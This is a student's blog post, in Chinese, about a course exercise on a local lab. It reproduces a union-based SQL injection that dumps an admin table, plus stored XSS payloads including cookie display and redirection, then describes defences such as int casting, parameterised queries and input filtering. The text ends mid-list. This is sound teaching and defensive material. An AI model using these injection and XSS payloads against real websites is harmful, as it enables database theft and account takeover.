23R3F's Blog

SQL和XSS的实现与防御

字数统计: 1.6k阅读时长: 6 min
2018/11/09 Share

课程上学了一手简单的sql和xss,老师要求说要复现漏洞和实现防御。

PHP+MySQL下的SQL注入攻击与防御

漏洞复现

这里是对一个政府网站进行攻击:(本地搭建的一个模板,用的是NPMserv集成软件)

1541737850669

这里随便点进去一个,发现有这类关键词:http://127.0.0.1/info_show.php?info_id=142

疑似注入点

进行http://127.0.0.1/info_show.php?info_id=142 and 1=1回显正常

进行http://127.0.0.1/info_show.php?info_id=142 and 1=2回显不正常

因此可以判断这里是有注入点的

接着判断字段的数量:http://127.0.0.1/info_show.php?info_id=142 order by xx我从1一直试到5,都是回显正常,而到6的时候回显失败,那么字段数量就是5了

接着看哪个字段是有回显信息的:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,2,3,4,5 ,可以看到,这里只有第2和第3是有回显的字段,那么后面就主要用这两个进行泄漏数据库

1541738309041

这时:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,user(),database(),4,5

1541738428881

这里爆出了,当前的用户是root,数据库是govcn

继续爆govcn数据库中包含的数据表:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="govcn"

1541738631201

1541738658135

这里就爆出了gocvn数据库中有admin,index_dy,index_info,index_intro,jgsz,ldjj表,很明显我们要获得的帐号密码在admin里面,

继续爆admin的字段名:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="admin"

1541738857202

接下来就是爆出字段的内容了:http://127.0.0.1/info_show.php?info_id=142 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin(这里有一点编码的小坑需要跳一下)

1541739097994

最后终于日出了帐号和密码,这个密码是md5加密后的,拿去解密一下就搞出来了

1541739191094

成功登录后台:

1541739240321


防御手段

那么该如何进行防御呢?

我们先打开存在漏洞的info_show.php

1541741097979

可以看到,这里仅仅用了简单的传参数方式,根本没有对$info_id 进行判断,这里发现这个info_id是个字符串来的,因此想到的一个很简单的防御手段就是直接把$info_id强制转换成int型,那么就不会存在sql的注入漏洞了

直接把php中的代码进行改动:

1541742994914

在进行注入点的判断时,回显仍然正常,这是因为我们用强制转换成int型的inf0_id_int进行sql查询,也就不存在漏洞了

1541743081798

当然,还有别的方法,比如进行参数化的sql查询,但这个平台写的代码比较屎,我没办法进行太多的改变,只能对info_id进行操作,也可以限制info_id的长度,限制在5的话,基本也就不存在sql漏洞了

在网上查了一波,对sql注入的防御无非是对参数进行安全检查,用预处理参数化查询手动转义参数来进行相关的防御

PHP+MySQL下的XSS攻击与防御

漏洞复现

这里对一个比较简单的博客进行操作,同样是本地搭建的

1541744527993

既然是留言版,那就有可能存在xss漏洞,这里进行测试一波

在留言内容出输入:<script>alter("XSSS1")</script>

1541745095954

可以看到是有xss漏洞的,这种属于存储型的xss漏洞,顾名思义,也就是说这个xss留言会一直存在,任何打开这个网页的人都会出现这个弹出窗口

xss能的事情很多,比如嵌入网页:<iframe src= http://www.baidu.com width=400 height=300></iframe>

1541745456829

盗取cookic:<script>alert("your cookic is:"+document.cookie)</script>

1541745560720

实现网页跳转:<script>location="http://www.baidu.com"</script>

如果链接到一个恶意的钓鱼网站,后果相当严重

防御手段

如果进行防御呢?

同样的,关键点就在于对留言的内容进行审查

课程中老师介绍了DVWA这个平台,用于练习和测试各种web下的漏洞

其中对xss的防御也有一定的说明:

大致是对留言内容进行过滤,安全级别从低到高分别是:

  • 使用trim函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符
  • 使用mysql_real_escape_string函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
  • 使用stripslashes函数删除字符串中的反斜杠
  • 使用strip_tags函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签
  • 使用addslashes函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串

  • 使用str_replac e函数将输入中的

CATALOG
  1. 1. PHP+MySQL下的SQL注入攻击与防御
    1. 1.1. 漏洞复现
    2. 1.2. 防御手段
  2. 2. PHP+MySQL下的XSS攻击与防御
    1. 2.1. 漏洞复现
    2. 2.2. 防御手段